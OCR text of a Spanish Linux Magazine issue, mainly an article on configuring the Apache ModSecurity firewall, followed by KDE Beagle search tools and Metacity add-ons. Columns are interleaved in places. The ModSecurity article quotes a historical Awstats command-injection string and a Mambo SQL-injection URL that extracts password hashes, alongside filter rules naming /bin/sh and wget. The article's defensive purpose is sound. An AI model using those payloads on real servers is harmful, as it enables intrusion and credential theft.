de verificar la dirección de destino, el filtratamiento para las barrigas cerveceras). tro antispam habría mordido el polvo debido Pero lo que encontré fue simplemente un al volumen de los correos entrantes. Mi conrevoltijo de caracteres ASCII. O el spammer sejo a los administradores de correo: el Reciestaba intentando cabrearme o realmente pient Address Verification hará tu vida algo no sabía lo que era MIME. Me imaginé que más tranquila. era esto último, e incluso estaba considerando pasar esa sopa de letras por un Interceptores decodificador Base64. Pero, ¿necesitaba Decidí capturar algunos de los correos saber el precio del Viagra esa semana? spam entrantes porque quería saber cuál Pensé que era mejor que me concentrara era el mensaje que ese ejército de bots en el archivo de log y observar los había intentado colar por mi filtro antiscorreos que salen del filtro antispam. pam. Me esperaban las sandeces de cosSiempre puedo terminar el artículo por la I tumbre más algún troyano disfrazado como noche.
Listado 1: Extracto del Archivo de Log 01 May 12 04:16:07 spamfilter2 postfix/smtpd[32629]: connect from hcm-ms-185.vnn.vn[203.162.4.185] 02 03 May 12 04:16:07 spamfilter2 policyd: rcpt=598727, greylist=update, host=203.162.4.185 (hcm-ms-185.vnn.vn), 04 from=<>, to=shaynsimo@kuehnast.com, size=5228 05 06 May 12 04:16:07 spamfilter2 postfix/smtpd[29010]: NOQUEUE: reject: RCPT from hcm-ms-185.vnn.vn[203.162.4.185]
WWW.LINUX-MAGAZINE.ES
: 07 550 <shaynsimo@kuehnast.com>: Recipient address rejected: unverified address: host mail.kuehnast.com[80.190.243.62] said: 08 550 <shaynsimo@kuehnast.com>:no such user (in reply to RCPT TO command); from=<> to=<shaynsimo@kuehnast.com> 09 proto=ESMTP helo=<HCM-MS-185.vnn.vn> 10 11 May 12 04:16:07 spamfilter2 postfix/smtpd[32629]: disconnect from hcm-ms-185.vnn.vn[203.162.4.185]
Número 22
59
ADMINISTRACIÓN • Apache ModSecurity
Una Protección Mejor con el Módulo de Apache ModSecurity
PERRO GUARDIÁN El módulo de Apache ModSecurity proporciona una protección extra para el servidor web. Vamos a mostrar por qué esta aplicación de cortafuegos opcional está convirtiéndose rápidamente en la favorita de los webmasters y de los expertos en seguridad. POR HANS KASPARICK
L
a mayoría de los servidores web comerciales sirven contenido dinámico generado por scripts. La naturaleza de Internet permite que un visitante desconocido desde cualquier parte del mundo pueda acceder al sitio web. Desafortunadamente, toda esta interacción entre el visitante y la aplicación web abre una posible vía de ataque. Un atacante con las habilidades adecuadas podría utilizar una vulnerabilidad para obtener un acceso no autorizado al servidor web y, una vez dentro, el intruso podría emplear herramientas adicionales y trucos para realizar acciones que ni a los desarrolladores ni a los webmasters se les hubiera ocurrido probar nunca. El potencial de daño es enorme, desde la exposición de ficheros con contenidos confidenciales a comprometer completamente la cuenta del root.
La programación limpia de aplicaciones web proporciona una vía para impedir esta clase de abuso, pero el camino está plagado de dificultades. Incluso los programadores más experimentados son cogidos de vez en cuando, ya que las vulnerabilidades en las aplicaciones web están ocultas a la espera de surgir antes o después. El módulo ModSecurity de Apache [1] proporciona validación y una protección mejorada (Figura 1). El módulo es básicamente una aplicación cortafuegos web disponible tanto como un módulo de Apache como una aplicación independiente (GPL con posibilidad de soporte comercial). El módulo valida las peticiones entrantes antes de pasarlas a los scripts apropiados basándose para ello en las reglas especificadas dentro de un conjunto de éstas. Como en los ficheros de patrones utilizados por los programas antivirus, las reglas contienen las firmas de las técnicas de ataques típicas. Si una petición se corresponde con una de las firmas, el mecanismo especificado por la regla se ejecuta. Puede tratarse simplemente del bloqueo de la petición o del reenvío de la misma otra página web. El módulo proporciona una protección efectiva contra los ataques tales como la Inyección de Comandos del Sistema Operativo, XSS/ Cross-Site Scripting e Inyección SQL.
ción de los administradores, es la inyección de comandos del sistema operativo en el contexto del servidor web. En enero de 2005, por ejemplo, los expertos en seguridad descubrieron que la herramienta de estadísticas web Awstats permitía a los usuarios inadvertidamente ejecutar comandos arbitrarios. La cadena awstats.pl?configdir=|echo;echo;ls%20la%20%2F;id;echo;echo ejecutaba el comando ls -la en el servidor con los permisos de Apache. Darle a los atacantes la posibilidad de leer información confidencial almacenada en un servidor web puede ser fatal. El exploit que tenía como objetivo al popular CMS Mambo, descubierto en junio de 2005, introducía sentencias SQL en la URL, provocando que la aplicación web suministrase un listado de todas las hash de las contraseñas de los usuarios [7]. Entonces, un atacante podría utilizar la lista para romper estas contraseñas, posiblemente utilizando las tablas Rainbow (tablas con las hash precalculadas). La siguiente URL revela las entradas de las contraseñas: http://server/mamboU /index.php?option=U com_content&task=vote&id=U %d&Itemid=%d&cid=1&user_rating=U 1,rating_count=(SELECT/**/ifU ((ascii(substring((SELECT/**U /password/**/FROM/**/mos_usersU
Tabla 1: Identificadores de Reglas ID
Use
0-99,999
#Local - Reglas propias
100,000-199,999
El Peligro desde el Exterior El principal peligro para los servidores web, y por ello la principal preocupa-
60
Número 22
WWW.LINUX-MAGAZINE.ES
#Reservado para Mod Security
200,000-299,999
#Reservado para las reglas publicadas en www.ModSecurity.org
300,000-;
No asignado
Apache ModSecurity • ADMINISTRACIÓN
/**/WHERE/**/id=%d),%d,1)))%s,U 1145711457,0))[...]
La sentencia SQL incluida en esta larga cadena es: SELECT password FROM mos_user WHERE id=User-ID. La regla ModSecurity SecFilterSelective ARGS “select.+from” captura este ataque detectando la cadena select y from como característica del ataque y éste fracasa (Figura 2). Lo que conseguiría ver el atacante es el mensaje 403 de Apache Forbidden: You don’t have permission to access (Prohibido: No tiene permiso de acceso). Los ataques “cross-site scripting” son una gran amenaza para los usuarios de Internet. “Cross-site scripting” hace que el atacante ejecute scripts maliciosos en la máquina de la víctima para acceder a sus cookies, por ejemplo. Ante esto, es lógico que se filtren los comandos <script> de las peticiones GET y POST. Como el desarrollo del módulo ModSecurity está progresando rápidamente, los administradores que planeen utilizarlo están bien avisados para que comprueben el sitio web perteneciente al autor de ModSecurity [1]. Este es el lugar al que acudir a por actualizaciones sobre el proyecto ModSecurity Rule Sets [2] (Conjuntos de Reglas de ModSecurity), por ejemplo. Para la mayoría de las distribuciones se encuentran disponibles paquetes binarios de ModSecurity listos para ser ejecutados. Los usuarios de Debian pueden ejecutar el comando aptitude install libapache2-mod-security para instalar el paquete en sus sistemas; si se tiene FreeBSD, pkg_add -r mod_security tendrá el mismo efecto. Tras completar la instalación, se introduce a2enmod mod-security en Debian para cargar el módulo; FreeBSD lo hace automáticamente. Este artículo está basado en ModSecurity 1.9.2,
Listado 1: Reglas de Prueba 01 #SecFilterEngine On 02 #SecFilterSignatureAction log,deny,status:500 03 #SecFilter /bin/sh “id:1001,rev:2,severity:2,msg :’/bin/sh attack attempt’” 04 ## Regel für die Version 1.8: 05 ## SecFilter /bin/sh
aunque la popular versión 1.8.7 posee la mayoría de las características que se mencionan aquí.
Primeros Pasos La entrada [Fri Feb 24 11:55:12 2006] [notice] mod_security/1.9.2 configured en el fichero error.log de Apache indica que el módulo ha sido instalado correctamente. Para probar si está funcionando, todo lo que se necesita es un conjunto de reglas sencillas (Listado 1). La primera línea habilita el motor del filtro; la segunda define las acciones y la tercera comprueba el contenido para la cadena que sigue, /bin/sh en este caso. Para mantenerlo legible, es conveniente almacenar los conjuntos de reglas en ficheros separados y utilizar include para usarlos en apache2.conf. Los parámetros extendidos en la directiva Sec Filter son nuevos para la versión 1.9 y no son soportados por la 1.8. Si se tiene la versión anterior, habrá también que reemplazar SecFilter-
SignatureAction con SecFilterDefaultAction. Llamando a la URL http://hostname/ index.php?a=/bin/sh en el navegador web, se comprobará la regla. Si ésta funciona, el módulo bloqueará el acceso y mostrará un mensaje Internal Server Error. El fichero error.log debería contener lo siguiente: [Fri Feb 24 14:25:12 2006] U [error] [client 192.168.0.1] U mod_security: Access U denied with code 500. Pattern match “/bin/sh” at U REQUEST_URI [id “1001”] U [rev “2”] [msg “/bin/sh attackU attempt”] [severity “2”] U [hostname “192.168.0.20”] U [uri”/modsec/index.php?a=U /bin/sh”]
Para hacérselo más fácil a los administradores de sistemas que usen scripts para evaluar
Listado 2: Configuración Básica 01 ## Enable ModSecurity 02 #SecFilterEngine On 03 ## Log faulty requests and deny access 04 #SecFilterDefaultAction “deny,log,status:403” 05 ## Log errors only 06 ## SecFilterDefaultAction “pass,log” 07 # 08 ## Check POST data 09 #SecFilterScanPOST On 10 # 11 ## Check URL encoding 12 #SecFilterCheckURLEncoding On 13 # 14 ## Check Unicode encoding 15 #SecFilterCheckUnicodeEncoding On 16 # 17 ## Accept only Ascii characters 1 through 255 18 #SecFilterForceByteRange 1 255 19 # 20 ## Reduce server signature to a minimum 21 #SecServerSignature “Apache” 22 # 23 ## Log relevant data only 24 #SecAuditEngine RelevantOnly 25 #SecAuditLog /var/log/apache2/audit_log
WWW.LINUX-MAGAZINE.ES
26 # 27 ## Do not accept GET or HEAD requests in the body 28 #SecFilterSelective REQUEST_METHOD “^(GET|HEAD)$” chain 29 #SecFilterSelective HTTP_Content-Length “!^$” 30 # 31 ## Content length must be sent with each POST request 32 #SecFilterSelective REQUEST_METHOD “^POST$” chain 33 #SecFilterSelective HTTP_Content-Length “^$” 34 # 35 ## Discard unknown transfer encoding, with the exception of GET, 36 ## as this can cause problems with some clients 37 #SecFilterSelective REQUEST_METHOD “!^(GET|HEAD)$” chain 38 #SecFilterSelective HTTP_Content-Type \ 39 #”!(^application/x-www-formurlenc oded$|^multipart/form-data;)” 40 #SecFilterSelective HTTP_Transfer-Encoding “!^$”
Número 22
61
ADMINISTRACIÓN • Apache ModSecurity
Figura 1: ModSecurity se sitúa delante del servidor web y de las aplicaciones web, protegiéndolos de los ataques.
posteriormente los ficheros de registro, cada regla debería tener un ID único: la Tabla 1 proporciona los espacios de nombres reservados.
Registros Coordinados La forma más simple del registro tan sólo escribe entradas en el fichero error.log del servidor web Apache, aunque esta opción de escribir en el registro de errores hace que sea más difícil el análisis posterior. Una alternativa a esta solución de escribir en el registro de errores, sería considerar la opción más exhaustiva de registros de auditoría mostrado en la Figura 3, la cual fue presentada con la versión 1.9 de ModSecurity. Entre otras cosas, la nueva opción de registro de auditoría soporta la escritura de los eventos en varios archivos de registros diferentes, aunque para ello habrá que tener habilitado el módulo de Apache mod_unique_id. Además de esto, la versión 1.9 y el nuevo soporte para el registro Guardian, es decir, estas versiones pueden pasar información de registro a HTTP Guardian [3] que toma el control de IPtables y pf firewalls, además del controlador IDS Snortsam [4]. Por defecto, HTTP Guardian bloquea a los clientes que envíen más de 120 peticiones por minuto o más de 360 peticiones en cinco minutos. El programa está aún en fase de desarrollo, pero funciona bien y está bien documentado.
Configuración Básica Se va a utilizar la configuración básica del Listado 2 como punto de partida para realizar algunos ajustes personalizados. Algo similar a este listado está también disponible en el sitio web oficial del proyecto. Si se pretende probar el conjunto de reglas en un sistema de producción, es lógico que se intenten registrar las infracciones potenciales durante la fase de prueba para evitar el bloqueo
62
Número 21
de las peticiones legítimas. Para realizarlo se puede utilizar una entrada SecFilterDefaultAction, estableciendo los parámetros a pass, log. En vez de devolver un mensaje de error 403 cuando se rompe alguna regla, ModSecurity permitirá que se atienda la petición de cualquier dirección o sitio web utilizando una entrada como SecFilterDefaultAction “deny,log,redirect:http://targetpage.com”. Los filtros ayudan a definir el criterio que ModSecurity aplica a las peticiones HTTP. Los filtros siempre siguen el patrón de SecFilter SearchCriterion y en la versión 1.9, el módulo tiene unos cuantos parámetros adicionales para el registro. ModSecurity distingue entre tres métodos de filtros: simple (SecFilter wget), selectivo (SecFilterSelective ARGS “union. +select”) y de salida (SecFilterSelective OUTPUT “Fatal error:”, deny,status:500). Un filtro simple investigará siempre la petición HTTP completa, mientras que uno selectivo tan sólo investigará partes específicas de la petición. Los filtros de salida analizan el contenido servido por el servidor web, impidiendo de este modo que se muestre si fuera necesario. Un signo de exclamación (!) invertirá una regla del filtro. Por ejemplo, SecFilter !htm se aplica a cualquier petición que no contenga la cadena html.
Filtros La forma más simple de política de filtrado es SecFilter SearchPattern. La política de filtrado
Los Peligros del Unicode El estándar Unicode proporciona un conjunto de caracteres unificado para los caracteres internacionales. El conjunto de caracteres ASCII utilizaba 7 u 8 bits para codificar cada carácter, restringiendo así el número a 128 ó 256 respectivamente, siendo algunos de éstos utilizados para propósitos de control. Dependiendo de la versión, Unicode utilizará hasta 32 bits (4 bytes) para codificar cada carácter. Esto quiere decir que Unicode puede mostrar incluso runas y jeroglíficos. Como contrpunto, la técnica de reescribir los exploits usando Unicode ha ayudado a los atacantes a saltarse los IDS (Intrusion Detection Systems) en el pasado. Por ejemplo, el carácter / se representa en Unicode como &#47 y esta clase de ofuscación podría anular a los IDS. ModSecurity desencripta las cadenas Unicode estableciendo SecFilterCheckUnicodeEncoding a On, dándole la posibilidad a los filtros de detectar los posibles exploits.
WWW.LINUX-MAGAZINE.ES
SecFilter SearchPattern le indica a ModSecurity que busque en todas las peticiones GET y POST un patrón y dispare el conjunto de acciones de la política por defecto en caso de encontrar una entrada positiva. Las claves de búsqueda pueden ser expresiones simples o expresiones regulares. Las reglas de filtrado no se aplican directamente a las peticiones, sino a una copia normalizada. Dicho de otro modo, los caracteres codificados de manera especial (Unicode) (véase “Los Peligros del Unicode”) se decodifican primero y cualquier / de escape que no sea necesaria se resuelve. Los ataques del tipo Null Byte, cuyo objetivo son las vulnerabilidades de las aplicaciones de los servidores programadas en C o C++, son evitados por el filtro SecFilter hidden El patrón de búsqueda que se ha visto comprueba la petición HTTP completa. Esta configuración podría ocasionar un gran impacto en el rendimiento del sistema que se puede aceptar. Una entrada del tipo SecFilterSelective Location SearchPattern Action permite el filtrado de elementos específicos. La localización puede ser cualquier variable CGI. La documentación en línea proporciona los posibles valores y explica cómo utilizarlos. Como ejemplo de uso de SecFilterSelective, la siguiente sentencia encuentra todos los intentos de acceso que no se originan desde la dirección de red 192.168.0.0/24: SecFilterSelective “REMOTE_ADDR|REMOTE_HOST” 192.168.0. En combinación con Apache 2, ModSecurity puede filtrar la salida de los sitios webs. Si un atacante consigue inyectar con éxito código SQL malicioso que mostrase las contraseñas user_password de la base de datos, el filtro SecFilterSelective OUTPUT “user_password” deny,status:500 bloquearía la salida y no se mostraría. Sin embargo, hay que habilitar el filtrado de salida con SecFilterScanOutput On para hacer que funcione. El filtrado de la salida está desactivado por defecto y hay una buena razón para ello: la sobrecarga de recursos que lleva asociada este tipo de filtrado es considerable, ya que ModSecurity comprueba cada contenido que sirve el servidor Apache. El filtrado de salida también puede provocar el riesgo de filtrar inadvertidamente el contenido legítimo. Si se necesitan proteger múltiples hosts virtuales que realizan diversas tareas, puede ser interesante el hecho de que ModSecurity soporte la herencia de reglas por medio de directorios. Las reglas de directorio tienen preferencia sobre las reglas globales:
ADMINISTRACIÓN • Apache ModSecurity
Figura 2: En nuestro ejemplo, el módulo ModSecurity de Apache se defiende con éxito de un ataque de inyección de SQL, registrando el intento en el fichero error.log del servidor web.
<Location /subcontext/> SecFilterRemove 1001 </Location>
Este ejemplo simplemente deshabilita la regla ID 1001 mientras mantiene las otras. El siguiente hace justo lo contrario: deshabilita todas las reglas de nivel superior excepto la 1002 y la 1003: <Location /subcontext/> SecFilterInheritance Off SecFilterImport 1002 1003 </Location>
Para facilitar la creación de conjuntos de reglas, el proyecto Modsecurity Rule Sets [2] y el sitio web Gotroot [6] ofrecen conjuntos de reglas preconfiguradas para descargarse. Las reglas de Gotroot soportan las nuevas características de ModSecurity 1.9, que las hacen incompatibles con las versiones anteriores.
Características Adicionales ModSecurity posee otras opciones de seguridad además de los mecanismos de filtrado simples. La función SecUploadApproveScript /ruta/a/script.sh permite comprobar los ficheros que se suban para analizarlos en busca de virus ejecutando el script que se encarga de disparar al programa antivirus. La documentación en línea tiene un ejemplo de script. El módulo también configura una “chroot jail” con la sentencia SecChrootDir /var/www/, impidiendo que los scripts CGI o binarios se salgan de la “cárcel”.
Rendimiento Dependiendo de la escala del conjunto de reglas, ModSecurity puede afectar seriamente el rendimiento del servidor web. Una prueba con ab muestra el impacto en el rendimiento. El banco de pruebas forma parte del paquete del servidor Apache. Se lanza la
64
Número 22
herramienta con los siguientes parámetros: time ab -n 500 -c Figura 3: El registro de auditoría de ModSecurity almacena los detalles y las cir30 http://servidor/ cunstancias que rodean el ataque, además proporciona al administrador datos phbBB2/index.php. útiles concernientes a los eventos del día. En un sistema con una CPU mobile Pentium 4 (no Centrino) a otro modo, los ataques que los conjuntos de 1.8 Ghz se midió un tiempo de cerca de 55 reglas no cubran explícitamente llegarán al segundos para el banco de pruebas con servidor. Apache 2.0.55-a sin ModSecurity. Conclusiones Habilitando ModSecurity con la configuración básica mostrada en el Listado Como barrera adicional contra los ataques 2 se ralentizó el servidor Apache alrededor de las aplicaciones web, ModSecurity de un dos por ciento, pero después de habiproporciona un mecanismo de protección litar el conjunto de reglas modsecurity-geneextra. La efectividad del mismo dependerá ral, tal y como lo proporciona el proyecto principalmente de la configuración del ModSecurity Rules [6], el servidor web conjunto de reglas, como es el caso de las tardó del orden del 15 al 20 por ciento más herramientas de protección basadas en de tiempo en servir las páginas solicitadas. reglas. Suponiendo la mejor configuración Los administradores con servidores web posible, el módulo puede defender al con bastantes accesos tendrán que tener los servidor y a las aplicaciones web que conjuntos de reglas tan simples como les alberga de la mayoría de los ataques. sea posible para evitar un gran impacto en Una configuración inadecuada podría dejar su rendimiento. Además del número de agujeros de seguridad e impedir que el reglas, la complejidad de las utilizadas es servidor sirva parte del contenido legítimo. también un factor importante. Si se tienen Cuando se instale ModSecurity, hay que filtros con expresiones regulares, el conjunto considerar cuidadosamente cada regla de I de reglas consumirá muchos más ciclos de filtrado antes de aplicarla. CPU que aquéllas con operadores de comparación simples. Como regla general: RECURSOS cuanto más precisa sea la personalización [1] ModSecurity: http://www. del conjunto de reglas para reflejar las neceModSecurity.org sidades del filtrado, menor carga se gene[2] Conjunto de reglas de ModSecurity: rará. http://www.ModSecurity.org/projects/ Como Apache 1 no tiene un PCRE regexp rules/ engine, al contrario que Apache 2, la carga [3] Herramientas Apache Httpd: http:// en la versión 1 es ligeramente superior. Si un www.apachesecurity.net/tools/ servidor web está expuesto a un ataque [4] Snortsam: http://www.snortsam.net masivo, un conjunto de reglas bien configu[5] Kit de Herramientas Spread: http:// radas de ModSecurity pueden incluso mejowww.spread.org rar su rendimiento, ya que las peticiones no [6] ModSecurity reglas: http://www. llegarán en realidad a los scripts. gotroot.com/ tiki-index. Como cualquier otra aplicación de seguriphp?page=mod_security+rules dad basada en reglas, la ganancia potencial [7] Mambo, SQL exploit: http://www. en seguridad dependerá de gran medida del milw0rm.com/exploits/1061 conjunto de reglas que se utilice. Dicho de
WWW.LINUX-MAGAZINE.ES
Bienvenidos a Linux User Esta es la sección dedicada a la presentación de software interesante y útil que nos ayuda en nuestro quehacer diario con el escritorio Linux. Aquí aprenderemos a utilizar software estándar de una manera más eficiente, adquiriremos valiosos conocimientos y descubriremos nuevas y apasionantes aplicaciones. Ktools: Kbeagle
66
Metacity
Linea de comandos: Isos
68
Si el espartano administrador de ventanas Metacity no te da la funcionalidad que necesitas, prueba con los añadidos Brightside y Devil’s Pie de Metacity.
Érase una vez Si estás buscando el modo de organizar tu próxima novela, prueba con StoryLines y la suite Writer’s Cafe.
74
Educación No podemos cerrar el estudio sin examinar las propuestas de la industria de la traducción: la especificación XLIFF y sus herramientas. ¿Está el software libre a la altura?
Si se ha perdido la esperanza de encontrar el camino entre la masa de datos de tu ordenador de sobremesa, lo mejor es usar un motor de búsqueda que permita guiarnos a través de la selva. Kerry y KBeaglebar nos acercan el motor Beagle al escritorio KDE.
82
Juegos: Mania drive
70
79
Si se están creando copias de seguridad, salvando datos o copiando CDs arrancables, dd y mkisofs te ayudan a realizar este trabajo estupendamente.
Los más veteranos en el mundo de los juegos conocerán títulos como Stunts, los primeros simuladores 3D de conducción que existieron y que causaron sensación entre el público en general. A estos jugones les encantará ahor ahora Mania Drive.
WWW.LINUX- MAGAZINE.COM
ISSUE 52 MARCH 2005
67
LINUX USER • KTools: Kbeagle
Búsqueda de Escritorio con Beagle en KDE
¡BUSCA! Si se ha perdido la esperanza de encontrar el camino entre la masa de datos de tu ordenador de sobremesa, lo mejor es usar un motor de búsqueda que permita guiarnos a través de la selva. Kerry y KBeaglebar nos acercan el motor Beagle al escritorio KDE. POR FRANK WIEDUWILT
L
a herramienta de búsqueda de escritorio Beagle [1] crea un índice de ficheros en los dispositivos locales permitiendo al usuario la búsqueda de información de manera más rápida. El programa, escrito en Mono [2], usa la interfaz Gtk Sharp (Gtk#), una librería .NET que enlaza con el kit de herramientas para GUIs Gtk+. Para el escritorio KDE, dos son los programas encargados de la mejora de la usabilidad de Beagle: KBeaglebar [3] y Kerry Beagle [4]. Beagle ha comenzado a aparecer en la mayoría de las distribuciones Linux, por lo que es muy probable que la versión Linux de que se disponga ya lo posea. En caso contrario, en el Número 11 de la edición en castellano de Linux Magazine puede conseguirse más infor-
mación sobre la configuración de Mono y Beagle. Mono es bastante extenso y necesita un gran número de librerías. Si no se posee la versión actual de Mono, será imprescindible armarse de paciencia para la sesión de descarga.
KBeaglebar La aplicación de la barra de herramientas de KBeaglebar se introduce en el Kicker de KDE y presenta un cuadro donde los usuarios pueden introducir claves de búsqueda al pulsar una tecla o botón. El autor de KBeaglebar pretende integrar la herramienta con yaBI [6] en una etapa posterior. KBeaglebar requiere una versión Mono reciente (1.1.10 o superior), la versión más reciente de Beagle disponible (0.2.1 o superior) y la versión 3.4 de KDE o superior.
Instalación La aplicación es fácil de configurar si ya se ha trabajado con la instalación de Beagle. Para
Figura 1: KBeaglebar mostrando los resultados de la búsqueda en un menú.
ello se desempaqueta el archivo de código fuente desde [3] introduciendo tar -xjvf kbeaglebar-0.4.0.tar.bz2, cambiamos al directorio kbeaglebar y se escribe ./configure para crear los Makefiles necesarios para la compilación. Luego se escribe make para comenzar a compilar y cuando se complete, se introduce el comando su -c “make install” y se suministra la contraseña de root cuando se requiera. Hasta este momento, el programa aun continúa oculto. Para habilitarlo se hace un clic en el espacio vacío en el Kicker y se selecciona Add to Panel | Applet | Beagle KDE Bar . Este comando sitúa un botón de búsqueda Beagle en el panel. Luego puede pulsarse [Ctrl] + [Alt] + [Space] para abrir el cuadro de entrada de la clave de búsqueda.
Buscar y Encontrar Cuando se introduce una clave de búsqueda en el cuadro de entrada, Beagle comienza a buscar documentos que contienen la clave de búsqueda. KBeaglebar proporciona los resultados de la búsqueda en forma de menú (Figura 1). Si un programa está unido al fichero, puede cargarse haciendo clic sobre el resultado de la búsqueda. De manera predeterminada el programa sólo devuelve cinco ficheros o programas que contienen la clave de búsqueda. La configuración sólo permite hasta nueve coincidencias. Como éste es un número relativamente pequeño, tiene sentido definir la clave de búsqueda con toda la precisión que nos sea posible. KBeaglebar maneja únicamente claves de búsqueda de Beagle, es decir, manteniendo el
66
Número 22
WWW.LINUX- MAGAZINE.ES
KTools: Kbeagle • LINUX USER
incluido por primera vez en Suse Linux 10.1. Ahora, el equipo de desarrollo de KDE ha tomado la herramienta y la ha integrado al entorno de escritorio de KDE. Kerry requiere una versión KDE 3.4 o superior y la versión más reciente de Beagle que pueda encontrarse (0.2.1 o superior). A menos de que se disponga de la versión actual OpenSuse 10.1 o Ubuntu 6.06 o superior, no tendremos más alternativa Figura 2: La ventana principal de Kerry ofrece un útil que compilar la aplicación resumen de los resultados de la búsqueda. desde el código fuente. El programa demostró ser un poco formateado especial que Beagle usa para restrinexigente: en Mandriva 2006 tuvimos que gir la búsqueda o excluir términos específicos. actualizar a KE 3.5 para completar la compilación, mientras que en Ubuntu 5.10 nos KBeaglebar a Medida vimos obligados a instalar una nueva versión El programa no ofrece mucho en lo que se de Mono y una nueva de Beagle. Kerry refiere a opciones de configuración. Para usar las renunció a ejecutarse con la versión suminisopciones disponibles, se hace clic en la flecha de trada por las fuentes retroportadas de la izquierda del icono de KBeaglebar en el panel y Ubuntu. se selecciona Configure Beagle KDE Bar... desde el Tras salvar estos obstáculos, desempaquemenú. tamos el archivo kerry-0.1.tar.bz2 esribiendo Aparece un cuadro de diálogo con tres pestatar -xjvf kerry-0.1.tar.bz2, cambiamos al ñas. Puede usarse la primera pestaña para confinuevo directorio kerry y escribimos ./configurar el atajo de teclado para arrancar la ventana gure. Posteriormente introducimos el de búsqueda. La segunda de las pestañas permite comando make para comenzar la compilaestablecer el ancho del menú para los resultados ción y finalmente escribir su -c “make install.” de la búsqueda y especificar el número de coinciEscribiendo kerry & en una ventana de dencias que se desean que KBeaglebar presente. emulación de terminal se abre la ventana La tercera pestaña del cuadro de diálogo tiene principal del programa. Puede usarse el cuaun botón para arrancar el programa de control de dro de texto superior para introducir una Beagle y que puede usarse para personalizar Beaclave de búsqueda o claves de búsqueda, y gle. El software presenta el estado del índice y perlos resultados serán presentados en el cuadro mite especificar los directorios que se deseen que bajo él (Figura 2). El programa muestra imásean creados e indexados por Beagle. genes previas de tipos de ficheros conocidos. Puede usarse la lista Within: a la derecha Kerry del cuadro de entrada para restringir la búsEl segundo front-end para Beagle, Kerry, se originó en los laboratorios de Suse y fue
queda a tipos de ficheros específicos, tales como páginas HTML o documentos de texto. Haciendo clic en More results carga las coincidencias que faltan en la ventana del programa. Haciendo clic con el botón derecho en los resultados de la búsqueda presenta un menú contextual donde puede seleccionarse cómo ordenar los resultados. Al igual que KBeaglebar, Kerry añade un icono al kicker. Haciendo clic con el botón derecho sobre el icono de Kerry se abre un menú que permite volver a acceder a las cinco últimas búsquedas (Figura 3), y el cuadro de diálogo de configuración del programa también es accesible a través del menú seleccionando Configure Kerry (Figure 4). En la primera pestaña del cuadro de diálogo de configuración puede especificarse el atajo de teclado abriendo la ventana de búsqueda y el orden en el que Kerry presenta los resultados. La opción Start search and indexing services automatically arranca automáticamente Beagle al comienzo de la sesión KDE. La opción Maximum number of results displayed permite hacer a medida la presentación de los resultados, al igual que ocurriera con KBeaglebar. Kerry, sin embargo, no aplica un límite superior.
Conclusiones Beagle facilita el acceso a ficheros almacenados localmente. KBeaglebar y Kerry integran Beagle en KDE sin fisuras y facilitan el acceso a los índices almacenados. Sin embargo, KBeaglebar sacrifica esta ventaja restringiendo el número máximo de búsquedas a nueve. Kerry se erige en el ganador con su bien definida perspectiva de resultados de búsqueda y el soporte de filtrado. Kerry también ofrece más opciones flexibles de configuración suministrando una vista preI via de los ficheros que encuentra.
RECURSOS [1] Beagle: http://www.beagle-project.org [2] Mono: http://www.go-mono.com [3] KBeaglebar: http://www.kde-apps.org/ content/show.php?content=35781 [4] Kerry: http://en.opensuse.org/Kerry
Figura 3: El menú de contexto de Kerry permite acceder a las cinco últimas búsquedas.
Figura 4: Kerry permite a los usuarios arrancar automáticamente el motor de búsqueda Beagle cuando abren una sesión KDE.
WWW.LINUX- MAGAZINE.ES
[5] “Olfato Canino: El buscador de escritorio Beagle,” por Tim Schürmann; Linux Magazine Edición en Castellano, Número 11: http://www. linux-magazine.es/issue/11/Beagle.pdf [6] yaBI: http://www.kde-apps.org/ content/show.php?content=33222
Número 22
67
LINUX USER • Metacity
Los añadidos Brightside y Devil’s Pie de Metacity
LUCES DE LA CIUDAD
Si el espartano administrador de ventanas Metacity no te da la funcionalidad que necesitas, prueba con los añadidos Brightside y Devil’s Pie de Metacity. POR OLIVER FROMMEL
E
l software no es una excepción a la regla por todos conocida de que “para gustos, los colores”. Algunos usuarios disfrutan con una sobreabundancia de características y un casi barroca presentación, mientras que otros prefieren ser más prácticos. Los administradores de ventanas llevan estas preferencias hasta los extremos, yendo desde los minimalistas TWM hasta el altamente complejo Enlightenment, un administrador de ventanas que provee de todos los pitos y flautas imaginables e incluso animaciones [1]. Matacity, el administrador de ventanas para el escritorio Gnome, está diseñado con simplicidad, sin confundir a los usuarios con una sobreabundancia de opciones. Para alcanzar esta meta se concentra en la misión principal de todo administrador de ventanas: dibujar decoraciones de ventanas, organizarlas y moverlas. Los applets de Gnome sirven para manejar funciones adicionales tales como escritorios virtuales. Este artículo describe un par de programas llamados Brightside y Devil’s Pie que añaden útiles características a Metacity. Brightside suministra soporte de ratón a esquinas y bordes del escritorio Gnome, permitiendo a sus usuarios saltar entre escritorios virtuales, por
68
Número 22
ejemplo. Devil’s Pie les ofrece la posibilidad de especificar varias acciones que el escritorio puede llevar a cabo cuando arrancan los programas. Ambas utilidades usan Extended Window Manager Hints [2] para comunicarse con el administrador de ventana.
Esquinas Activas Algunas distribuciones, como Ubuntu Dapper Drake y Fedora Core 5, incluyen Brightside en sus repositorios. Como alternativa, siempre puede compilarse el programa uno mismo usando los paquetes disponibles en [3]. Brightside es bastante frugal con respecto a las dependencias, de hecho, sólo serán necesarias principalmente las típicas librerías Gnome. Libwnck es la inusual excepción a esta regla. Ofrece información sobre los programas del escritorio activo y facilita ciertas herramientas de programación, como conmutadores de tareas. Después de emitir el comando make install para instalar el programa, deberían tenerse en el disco los binarios brightside y brightside-properties. Brightside podrá encontrarse en el menú bajo System | Preferences | More Preferences. Se configura usando la herramienta brightside-properties (Figura 1). Para habilitar
WWW.LINUX- MAGAZINE.ES
las acciones que se configuran con el programa, o bien se necesita arrancar Brightside manualmente, o bien añadirlo a la lista de programas a arrancar cuando comienza una sesión Gnome en gnome-session-properties. Para cada una de las cuatro esquinas de la pantalla se configura una acción. La acción puede ser modificada en el menú desplegable: deshabilitar y habilitar el sonido de salida, poner en marcha el salvapantallas o incluso hibernar una máquina. Desafortunadamente, todas estas acciones están metidas en el código, en lugar de defi-
Figura 1: Brightside permite a los usuarios asignar una acción a cada esquina del escritorio.
Metacity • LINUX USER
nirse a través del fichero de configuración. En nuestro laboratorio, el arranque de la función salvapantallas no funcionó bien porque usa comandos para la herramienta Xscreensaver, que no tiene Fedora Core 5.
